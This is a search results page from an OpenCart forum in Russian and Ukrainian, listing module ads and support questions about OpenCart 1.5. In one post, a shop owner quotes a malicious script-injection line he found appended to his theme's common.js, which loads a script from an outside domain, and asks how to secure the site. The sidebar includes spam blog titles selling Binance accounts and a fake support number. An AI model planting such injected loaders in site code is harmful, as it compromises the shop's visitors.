Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Пошук по сайту

Результати пошуку за тегами 'opencart 1.5'.

  • Пошук за тегами

    Введіть теги через кому.
  • Пошук по автору

Тип публікацій


Категорії і розділи

  • Основний
    • Новини та оголошення
    • Пропозиції та побажання
    • Акції, подарунки, конкурси та винагороди
  • Opencart 4.x
    • Opencart 4.x: Загальні питання
    • Opencart 4.x: Встановлення та оновлення
    • Opencart 4.x: Локалізація
    • Opencart 4.x: Налаштування та оптимізація
    • Opencart 4.x: Пісочниця
    • Opencart 4.x: Пошук модулів
    • Opencart 4.x: Звіти про помилки
  • Opencart 3.x
    • Opencart 3.x: Загальні питання
    • Opencart 3.x: Встановлення та оновлення
    • Opencart 3.x: Локалізація
    • Opencart 3.x: Налаштування та оптимізація
    • Opencart 3.x: Пісочниця
    • Opencart 3.x: Пошук модулів
    • Opencart 3.x: Звіти про помилки
  • Opencart 2.x
    • Opencart 2.x: Загальні питання
    • Opencart 2.x: Встановлення та оновлення
    • Opencart 2.x: Локалізація
    • Opencart 2.x: Налаштування та оптимізація
    • Opencart 2.x: Пісочниця
    • Opencart 2.x: Пошук модулів
    • Opencart 2.x / ocStore 2.x: Звіти про помилки
  • Реклама і просування
    • SEO-питання (оптимізація та просування магазину)
    • Контекстна реклама
    • Торговые площадки
    • E-commerce tracking и бизнес аналитика
    • Разное
  • Підтримка та відповіді на запитання.
    • Загальні питання
    • Встановлення, оновлення, налаштування
    • Шаблони, дизайн та оформлення магазину
    • Модулі та розширення
    • Допомога програмістам та розробникам
    • Мобильная витрина
    • Питання безпеки
    • Переклад
    • Отчёты об ошибках
    • Интернет-магазины и электронная коммерция
    • Песочница
  • Послуги
    • Створення магазинів під ключ
    • Дизайн, верстка та шаблони
    • Програмування, створення модулів, зміна функціональності
    • Налаштування та дрібна робота по вже існуючому сайту
    • Оновлення версії двигуна магазина
    • Наповнення магазину
    • Системне адміністрування (налаштування хостингу, серверів, ПЗ)
    • Інші послуги
  • Разное
    • Пользовательские обзоры дополнений
    • Примеры сайтов на OpenCart (ocStore)
    • Курилка
    • Предложения по улучшению

Категорії

  • Шаблони
    • Безкоштовні шаблони
    • Платні шаблони
  • ФІльтри
  • Цены, скидки, акции, подарки
  • Реклама та просування
  • Бонусы, купоны, программы лояльности
  • Блоги, новости, статьи
  • Покупки, оформление заказа, корзина
  • Опції
  • Атрибуты
  • Серии, Комплекты
  • Поиск
  • SEO, карта сайта, оптимизация
  • Кэширование, сжатие, ускорение
  • Платіжні системи
  • Доставки
  • Редакторы
  • Меню, дизайн, внешний вид
  • Слайдшоу, баннеры, галереи
  • Письма, почта, рассылки, sms
  • Обратная связь, звонки
  • Обмен данными
  • Учет в заказе
  • Сравнения, закладки
  • Социальные сети
  • Парсеры
  • Модули
  • Инструменты, утилиты
  • Лицензии
  • Локалізації
  • Інші розширення
  • Отчеты
  • Збірки
    • ocStore
  • Послуги
    • Графика и дизайн
    • Маркетинг

Категорії

  • Служебные документы
  • Оплата
  • Документація Opencart

Категорії

  • Загальні питання
  • Купівля доповнень
  • Для розробників
  • Акаунт
  • Технічна підтримка
  • Фінансовий відділ

Категорії

  • Інтерв'ю
  • Статті

Product Groups

  • Услуги форума

Блоги

  • Konorws (Разработка и модификация Opencart)
  • Блог mr.Kent)
  • Прожектор Бритни Спирс
  • Layk
  • Продвижение интернет-магазина, seo оптимизация
  • Записная книжка
  • Блог RGB
  • Модули которые сделают сайт лучше
  • Блог веб-студии NeoSeo
  • Useful IT
  • Записи
  • Найденные решения проблем с Opencart
  • ocdroid blog
  • Заметки на полях...
  • Pimur
  • Серж Ткач
  • О жизни, смерти, о бизнесе и Опенкарте
  • Просто мысли от laim731
  • Маркетинг и продвижение интернет-магазина
  • Мой копирайтинг
  • SEO боксинг специального назначения
  • Get-Web Dev
  • Seok
  • Блоги sitecreator-а
  • Best practice
  • Vlad-Egorov-Blog
  • Блог spectre
  • commanddotcom
  • Внимание мошенники
  • Наблюдения обычного человека
  • Блог Rassol2
  • Блог Exploits
  • блог для натуралов
  • Настюша, тут есть темы
  • Пропитано рекламой
  • Tutorial
  • ОтВинта
  • Tg chnls
  • Блог
  • Блог sv2109
  • КАК ОРГАНИЗОВАТЬ НОВОСТНЫЕ ПОДПИСКИ НА БАЗЕ API OPENCART 3/0/2
  • VDS/VPS, серверы под Linux: установка, настройка, оптимизация
  • IT блог
  • Блог
  • Opencart SEO
  • Путёвые заметки о работе магазина NiceBike на платформе OpenCart
  • Blondi Blog
  • Полезные статьи, новости.
  • Блог владельца магазина
  • разное
  • ПРОДАЖА АКАУНТОВ-binance ВЕРИФИЦИРОВАННЫe ЧИСТЫЕ УСПЕВАЙТЕ КУПИТЬ ПО НИЗКОЙ ЦЕНЕ
  • Диспансеризация
  • wozobat
  • quasarbyte
  • Мой блог
  • Igorych
  • aaaaa
  • 👌🔊Bellsouth CUSTOMER support number 1+(8O8)678=9O64-☎phone number
  • Liudmila marketer
  • Заметки реалиста
  • ocstore на ноліках
  • Про Opencart
  • Блог про рутинні процеси в магазині на ocsote
  • Radaevich
  • Плагіни Opencart
  • Крафтовий OpenCart: Старт пригоди. Ціна створення сайту на Опенкарт

container

  • Support
  • Tutorials

Шукати результати в ...

Шукати результати, які ...


Дата створення

  • Почати

    Кінець


Останнє оновлення

  • Почати

    Кінець


Фільтр за кількістю ...

З нами

  • Почати

    Кінець


Група


Сайт


Skype


Місто:


Інтереси

Знайдено 14 результатов

  1. Версія v 0.3

    Данный модуль оплаты наложенным платежом является универсальным решением для любого способа доставки. Основные преимущества: отдельный калькулятор для каждого способа доставки, неограниченное число тарифов для каждого калькулятора, учет наложенного платежа в заказе. И это не все возможности модуля, функционал постоянно расширяется и улучшается. Возможности редактируемое, мультиязычное название для способа оплаты редактируемая, мультиязычная дополнительная информация редактируемая, мультиязычная инструкция по оплате выбор способов доставки, для которых будет доступен данный способ оплаты возможность задать нижнюю границу суммы заказа для данного способа оплаты возможность задать верхнюю границу суммы заказа для данного способа оплаты возможность задать сумму заказа при которой наложенный платеж будет бесплатен для клиента добавление/редактирование калькулятора стоимости наложенного платежа для всех доступных способов доставки: выбор валюты калькулятора добавление неограниченного количества тарифов возможность указать процентную ставку возможность указать фиксированный платеж возможность указать границу тарифа [*]включение/выключение учета в заказе [*]включение/выключение оценки стоимости наложенного платежа [*]и другие стандартные настройки модуля оплаты Демо OpenCart 2.X.X.X: Сайт Админка (логин/пароль: demo) OpenCart 1.5.X.X: Сайт Админка (логин/пароль: demo) Поддерживаемые языки украинский русский английский Совместимость OpenCart v. 1.5.Х.Х-2.X.X (а также сборки на базе OpenCart соответствующих версий) формы заказа: стандартная, Simple checkout & Registration Модуль НЕ ТРЕБУЕТ OCMOD и VQMOD. Весь функционал дополнения реализован в рамках стандартных модулей оплаты, по этому проблем с совместимостью не должно быть. Модуль тестировался и гарантированно работает на стандартном оформлении заказа OpenCart 2 и на последних версиях модуля Simple. Лицензия лицензия действует только на один домен и на все его поддомены, и тестовые сайты подробная информация о порядке получения лицензии доступна на вкладке «Поддержка» модуля активация лицензии происходит в течении нескольких часов после покупки Требования Ioncube Loader версии 5.0 и выше PHP версии 5.3 и выше Детальная инструкция по установке, настройке, обновлению и удалению модуля доступна в архиве в файле Instruction_ru.html
    5.00 USD
  2. Приветствую всех. Нужен фильтр в производителях (брендах) для опенкарт 1.5. Часто в органическом поиске выбивает именно производителя, а там без фильтра не обойтись. Подскажите что-то? Буду чрезмерно благодарен!!
  3. 5 Завантажити / Придбати розширення Модуль оплаты «Наложенный платеж +» для OpenCart 1.5 - 2.X Данный модуль оплаты наложенным платежом является универсальным решением для любого способа доставки. Основные преимущества: отдельный калькулятор для каждого способа доставки, неограниченное число тарифов для каждого калькулятора, учет наложенного платежа в заказе. И это не все возможности модуля, функционал постоянно расширяется и улучшается. Возможности редактируемое, мультиязычное название для способа оплаты редактируемая, мультиязычная дополнительная информация редактируемая, мультиязычная инструкция по оплате выбор способов доставки, для которых будет доступен данный способ оплаты возможность задать нижнюю границу суммы заказа для данного способа оплаты возможность задать верхнюю границу суммы заказа для данного способа оплаты возможность задать сумму заказа при которой наложенный платеж будет бесплатен для клиента добавление/редактирование калькулятора стоимости наложенного платежа для всех доступных способов доставки: выбор валюты калькулятора добавление неограниченного количества тарифов возможность указать процентную ставку возможность указать фиксированный платеж возможность указать границу тарифа [*]включение/выключение учета в заказе [*]включение/выключение оценки стоимости наложенного платежа [*]и другие стандартные настройки модуля оплаты Демо OpenCart 2.X.X.X: Сайт Админка (логин/пароль: demo) OpenCart 1.5.X.X: Сайт Админка (логин/пароль: demo) Поддерживаемые языки украинский русский английский Совместимость OpenCart v. 1.5.Х.Х-2.X.X (а также сборки на базе OpenCart соответствующих версий) формы заказа: стандартная, Simple checkout & Registration Модуль НЕ ТРЕБУЕТ OCMOD и VQMOD. Весь функционал дополнения реализован в рамках стандартных модулей оплаты, по этому проблем с совместимостью не должно быть. Модуль тестировался и гарантированно работает на стандартном оформлении заказа OpenCart 2 и на последних версиях модуля Simple. Лицензия лицензия действует только на один домен и на все его поддомены, и тестовые сайты подробная информация о порядке получения лицензии доступна на вкладке «Поддержка» модуля активация лицензии происходит в течении нескольких часов после покупки Требования Ioncube Loader версии 5.0 и выше PHP версии 5.3 и выше Детальная инструкция по установке, настройке, обновлению и удалению модуля доступна в архиве в файле Instruction_ru.html Автор Prorab337 долучення 27.02.16 Категорія Платіжні системи Системные требования Ioncube Loader версии 5.0 и вышеPHP версии 5.3 и выше Метод активации Через официальный сайт дополнения Ioncube Loader Требуется ocStore 2.3 OpenCart.Pro, ocShop Звернення до сервера розробника Да  
  4. Искал по форумам данную информацию, не нашёл, пришлось делать самому ) Создали товар, поставили ему дату поступления допустим 01.02.2019, сохраняем, а при заходе на сайт товара в поиске нет, либо у него стоит непонятная дата на типе -0000-01-01 Исправляем. /admin/controller/catalog/product.php $this->data['date_available'] = date('d.m.Y', strtotime($product_info['date_available'])); } else { $this->data['date_available'] = date('d.m.Y', time() - 86400); Меняем на $this->data['date_available'] = date('Y-m-d', strtotime($product_info['date_available'])); } else { $this->data['date_available'] = date('Y-m-d', time() - 86400);
  5. Старый сайт: OcStore 1.5 Тема стандартная (defaut) Сегодня зашел на него, а он грузится почти минуту. Полез смотреть в начале через chrome, что увидел: что то такое (картинка из инета) В хидере под тегом <head> был скрипт с ссылкой на на данный ресурс. Побежал в header.tpl (catalog\view\theme\default\template\common) увидел там такую вещь: <?php foreach ($scripts as $script) { ?> <script type="text/javascript" src="<?php echo $script; ?>"></script> <?php } ?> Понимаю, что данная херота может инклудится вот сюда из любого файла Нашел ее довольно быстро, а именно в catalog\view\javascript\common.js В конце файла была приписка: document.write('<script src="https://afrodizinlife.gq"><\x2fscript>'); Собственно вопрос: Как такие вещи вообще происходят на opencart? P.S. По поводу паролей можно не писать: 1. 10 значные с спецсимволами + регистры 2. В браузере не храню 3. В FileZilla тоже не храню Я, конечно, понимаю, что все зависит от определенной сборки, шаблона и установленного на сайт, но есть ли основные дыры, которые необходимо латать? Или какие то минимумы, что необходимо сделать всем и вся?
  6. Добрый вечер. Есть потребность фильтровать группы покупателей в списке заказов.Странно, но нигде информации кроме громозких модулей не нашел. В итоге переделал xml вывода invoce в группу покупателей, но фильтр не ищет по нужной таблице данные (знаний как подрубить другую таблицу не хватает). Переделал запрос который находит мне наименования группы покупателей <![CDATA[$sql = "SELECT o.order_id, CONCAT(o.firstname, ' ', o.lastname) AS customer, (SELECT os.name FROM " . DB_PREFIX . "order_status os WHERE os.order_status_id = o.order_status_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS status, (SELECT os.name FROM " . DB_PREFIX . "customer_group_description os WHERE os.customer_group_id = o.customer_group_id AND os.language_id = '" . (int)$this->config->get('config_language_id') . "') AS customer_group_name, o.total, o.currency_code, o.currency_value, o.date_added, o.date_modified FROM `" . DB_PREFIX . "order` o";]]> А вот в поиске по данным не могу подключить нужную таблицу <operation error="log"> <search position="before" offset="2"><![CDATA[$sql .= " AND order_id = '" . (int)$data['filter_order_id'] . "'";]]></search> <add><![CDATA[if (!empty($data['customer_group_name'])) { $sql .= " AND customer_group_id = '" . (int)$data['name'] . "'"; }]]></add> </operation> Насколько понял именно тут идет поиск по таблице order (а в ней нету наименований, только id группы пользователей). admin_customer_group.xml
  7. У заказчика есть опция, в которой 22тыс. значений. При этом возникает проблема при редактировании товара (подгрузка всех значений (22к) в селект опции), а также проблема при переходе в раздел "Опции", при загрузке списка всех значений опции. Есть мысль о 2х решениях, но не знаю даст ли это плоды: 1) систему кеширования на мемкэше 2) каким то образом прикрутить пагинацию в раздел "Опции", чтобы было ограниченное количество значений опции на страницу (не знаю есть ли уже готовый модуль. Если есть, поделитесь пжлста). Все это на Opencart 1.5.6. Если есть какие -нибудь другие варианты в вашей голове, или кто-то сталкивался с подобной проблемой, или знает модули, которые могут решить проблему, отпишитесь тут пожалуйста. Очень надеюсь на поддержку.
  8. Приветствую! Производим переезд магазина на базе Opencart 1.5 на https, который бы устраивал Yandex и Google. Для этого было сделано: Был установлен сертификат на домене. Была активирована опция Использовать SSL в настройках системы в админпанели. Внесены необходимые правки в 2 файла конфигурации. Исправлены ссылки в контенте на абсолютные адреса. Прописана директива host и карта сайта в robots.txt с защищенным протоколом. Редиректы на https не выставлялись, т.к. еще не произведена склейка доменов Яндексом. Требуется, чтобы домен был доступен до момента склейки по двум протоколам, но когда страница запускается по защищенному, внутренние ссылки (меню, категории, товары и т.п.) отображаются по http-протоколу, таким образом браузер показывает соединение как небезопасное. При переходе по любой из внутренней ссылке так же попадаем на http-версию страницы. Видел, что для версии 2 существует патч, исправляющий подобного рода ошибки. Как проблема исправляется в версии Opencart 1.5? Спасибо.
  9. Здравствуйте. Помогите пожалуйста. В стандартном шаблоне в файле category.tpl есть скрипт, который выводит товары по одному и по несколько блоков. Вот код: <?php echo $header; ?> <div class="container"> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $breadcrumb) { ?> <?php echo $breadcrumb['separator']; ?><a href="<?php echo $breadcrumb['href']; ?>"><?php echo $breadcrumb['text']; ?></a> <?php } ?> </div> <div class="row"> <?php echo $column_left; ?> <?php if ($column_left && $column_right) { ?> <?php $class = 'col-sm-6'; ?> <?php } elseif ($column_left || $column_right) { ?> <?php $class = 'col-sm-9'; ?> <?php } else { ?> <?php $class = 'col-sm-12'; ?> <?php } ?> <div id="content" class="<?php echo $class; ?>"> <h1><?php echo $heading_title; ?></h1> <?php echo $content_top; ?> <?php if ($thumb || $description) { ?> <div class="category-info"> <?php if ($thumb) { ?> <!-- <div class="image"><img src="<?php echo $thumb; ?>" alt="<?php echo $heading_title; ?>" /></div> --> <?php } ?> </div> <?php } ?> <?php if ($categories) { ?> <div class="box"> <!--<div class="box-heading"><?php echo $text_refine; ?></div>--> <!--<div class="box-content">--> <div class="box-product box-subcat row"> <?php foreach ($categories as $category) { ?> <div class="col-md-3 col-sm-3 col-xs-12"> <?php if ($category['thumb']) { ?> <div class="image-category"><a href="<?php echo $category['href']; ?>"><img src="<?php echo $category['thumb']; ?>" alt="<?php echo $category['name']; ?>" /></a></div> <?php } ?> <div class="name subcatname"><a href="<?php echo $category['href']; ?>"><?php echo $category['name']; ?></a></div> </div> <?php } ?> </div> </div> </div> <?php } ?> <?php if ($products) { ?> <div class="product-filters row"></div> <div class="show-filter hidden-sm hidden-md hidden-lg"><a href="#" onclick="toggleFilter();return false;">Показать фильтр</a></div> <div class="product-filter row"> <div class="product-compare col-md-3"><a href="<?php echo $compare; ?>" id="compare_total"><?php echo $text_compare; ?></a></div> <div class="limit col-md-3 text-right"><b><?php echo $text_limit; ?></b> <select onchange="location = this.value;"> <?php foreach ($limits as $limits) { ?> <?php if ($limits['value'] == $limit) { ?> <option value="<?php echo $limits['href']; ?>" selected="selected"><?php echo $limits['text']; ?></option> <?php } else { ?> <option value="<?php echo $limits['href']; ?>"><?php echo $limits['text']; ?></option> <?php } ?> <?php } ?> </select> </div> <div class="sort col-md-5 text-right"><b><?php echo $text_sort; ?></b> <select onchange="location = this.value;"> <?php foreach ($sorts as $sorts) { ?> <?php if ($sorts['value'] == $sort . '-' . $order) { ?> <option value="<?php echo $sorts['href']; ?>" selected="selected"><?php echo $sorts['text']; ?></option> <?php } else { ?> <option value="<?php echo $sorts['href']; ?>"><?php echo $sorts['text']; ?></option> <?php } ?> <?php } ?> </select> </div> <div class="display col-md-1"><?php echo $text_list; ?><a onclick="display('grid');"><?php echo $text_grid; ?></a></div> </div> <div class="row products"> <?php $i = 1; ?> <?php foreach ($products as $product) { ?> <?php if ($i == 7 ) { ?> <div class="rozetka col-lg-4 col-md-4 col-sm-4 col-xs-12"><?php echo $content_category_rozetka; ?></div> <?php } ?> <div class="product-list col-xs-12 <?php if($product['quantity'] == 0) { ?>grey<?php } ?>" <?php if($product['quantity'] == 0) { ?>data-grey="grey"<?php } ?>> <div class="name"><a href="<?php echo $product['href']; ?>"><? if(isset($product_prefics)) { echo $product_prefics;} ?> <?php echo $product['name']; ?></a></div> <?php if ($product['thumb']) { ?> <div class="image"><a href="<?php echo $product['href']; ?>"><img src="<?php echo $product['thumb']; ?>" title="<?php echo $product['name']; ?>" alt="<?php echo $product['name']; ?>" /></a></div> <?php } ?> <?php if ($product['price'] && (int)$product['price'] > 0) { ?> <div class="detail"> <div class="price"> <?php if (!$product['special']) { ?> <span class="price-normal"><?php echo $product['price']; ?></span> <?php } else { ?> <span class="price-old"><?php echo $product['price']; ?></span> <span class="price-new"><?php echo $product['special']; ?></span> <?php } ?> <?php if ($product['tax']) { ?> <br /> <span class="price-tax"><?php echo $text_tax; ?> <?php echo $product['tax']; ?></span> <?php } ?> <div class="pull-right"> <div class="rating"><img src="catalog/view/theme/default/image/stars-<?php echo $product['rating']; ?>.png" alt="<?php echo $product['reviews']; ?>" /></div> </div> </div> <?php } ?> <div class="button-group"> <? if($product['quantity'] > 0) { ?> <button type="button" onclick="addToCart('<?php echo $product['product_id']; ?>');" class="button cart"><span><i class="fa fa-shopping-bag" aria-hidden="true"></i> <?php echo $button_cart; ?></span></button> <? } else { ?> <button type="button" onclick="addToWaitList('<?php echo $product['product_id']; ?>');" class="button cart"><span>Сообщить о наличии</span></button> <?php } ?> <button type="button" data-toggle="tooltip" title="<?php echo $button_wishlist; ?>" onclick="addToWishList('<?php echo $product['product_id']; ?>');" class="wishlist" data-original-title="<?php echo $button_wishlist; ?>"><i class="fa fa-heart"></i></button> <button type="button" data-toggle="tooltip" title="<?php echo $button_compare; ?>" onclick="addToCompare('<?php echo $product['product_id']; ?>');" class="compare" data-original-title="<?php echo $button_compare; ?>"><i class="fa fa-exchange"></i></button> </div> </div> <div class="description"><?php echo $product['description']; ?></div> </div> <?php $i++; ?> <?php } ?> </div> <div class="pagination"><?php echo $pagination; ?></div> <?php } ?> <?php echo $content_bottom; ?> <?php if ($description) { ?> <?php echo $description; ?> <?php } ?> </div> <script type="text/javascript"><!-- function display(view) { if (view == 'list') { $('.product-grid').attr('class', 'product-list col-sm-12'); $('.product-list').each(function(index, element) { if (typeof($(element).attr('data-grey')) !== 'undefined') { $(element).addClass('grey'); } html = '<div class="col-xs-12 col-sm-3 col-md-3">'; var image = $(element).find('.image').html(); if (image != null) { html += '<div class="image">' + image + '</div>'; } html += '</div>'; html += '<div class="col-xs-12 col-sm-5 col-md-5 text-left">'; html += ' <div class="name">' + $(element).find('.name').html() + '</div>'; html += ' <div class="description">' + $(element).find('.description').html() + '</div>'; html += '</div>'; html += '<div class="col-xs-12 col-sm-4 col-md-4">'; var price = $(element).find('.price').html(); if (price != null) { html += '<div class="price">' + price + '</div>'; } var rating = $(element).find('.price').html(); html += ' <div class="button-group">' + $(element).find('.button-group').html() + '</div>'; html += '</div>'; $(element).html(html); }); $('.display').html('<?php echo $text_list; ?><a onclick="display(\'grid\');"><?php echo $text_grid; ?></a>'); $.cookie('display', 'list'); } else { $('.product-list').attr('class', 'product-grid col-lg-4 col-md-4 col-sm-4 col-xs-12'); $('.product-grid').each(function(index, element) { if (typeof($(element).attr('data-grey')) !== 'undefined') { $(element).addClass('grey'); } html = ''; var image = $(element).find('.image').html(); if (image != null) { html += '<div class="image">' + image + '</div>'; } html += ' <div class="name">' + $(element).find('.name').html() + '</div>'; var price = $(element).find('.price').html(); if (price != null) { html += '<div class="price">' + price + '</div>'; } var rating = $(element).find('.price').html(); html += ' <div class="button-group">' + $(element).find('.button-group').html() + '</div>'; html += ' <div class="description">' + $(element).find('.description').html() + '</div>'; $(element).html(html); }); $('.display').html('<a onclick="display(\'list\');"><?php echo $text_list; ?></a><?php echo $text_grid; ?>'); $.cookie('display', 'grid'); } } view = $.cookie('display'); if (view) { display(view); } else { display('grid'); } //--></script> </div> <?php echo $column_right; ?></div> </div> <?php echo $footer; ?> Вопрос в том, что не знаю как поменять звездочки с кнопкой местами, там где три блока, так как там все в js. это класс product-grid. product-list написан на html, его поменять не сложно, но он должен оставаться по одному товару в ряд. Вот скриншоты: http://prntscr.com/he9jb1 , http://prntscr.com/he9kk3
  10. Приветствую! Помогите прояснить вопрос. На форуме продаётся модуль "Архивный товар". А как осуществлять перевод категории в разряд архивных? К примеру, если категория уже не будет использоваться в продажах, но убирать её с сайта, во избежание появления 404-х ошибок не хотелось бы. Т.е. по-сути стоит задача убрать категорию из главного меню, но не отключать её на сайте.
  11. Добрый день! Для определенных действий возникла необходимость такая: есть 5000 отключенных товаров, но их удалять не надо (часто включаются в зависимости от поступления или через некоторое время удалятся, то есть судьба временно неизвестна); они уже были прикреплены к категориям, а теперь нужно открепить (выбрать категорию "Не выбрано"). Вручную это делать весьма долго, скучно и не эффективно. Запрос в базу подобрать не рискую, слабоват - нужно учесть две таблицы и кучу столбцов. Есть ли вариант быстрого переопределения (сброса) категорий отсутствующих товаров? Система OCSHOP.CMS Версия 1.5.6.3.2 Спасибо...
  12. Тех задание расписано на видео полноценно, ссылочка на видео https://drive.google.com/open?id=0Bxbv9atOl_taNmZQc1gxQ3V0T1k Напишите сроки исполнения и цену с учетом постоянных доработок на будущее! Спасибо за Ваше внимание!
  13. Как человек, которому нравятся разные ностальгические мотивы, смотрю в сторону Opencart 1.5.6.4. Потому что раньше пробовал установить движок из предыдущей линейки. Тогда не было ещё столько сообществ, видео, статей, модулей, с помощью которых можно было решить некоторые задачи функционала. Подскажите, если сейчас установлю эту версию, то столкнусь ли с какими то проблемами с точки зрения безопасности и другими?
  14. Здравствуйте Независимо от того, где я выбираю расположение модулей, у меня в главной и в каталоге показываются одни и те же модули. Полез в контроллер, ControllerCommonContentTop выяснилось что для главной и для каталога у меня функция getProductLayoutId возвращает одну и ту же цифру $layout_id = $this->model_catalog_product->getProductLayoutId($this->request->get['product_id']); Я так понимаю по этому идентификатору потом идёт подключение модулей. Где я мог сбросить эту переменную или что я делаю не так?

×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.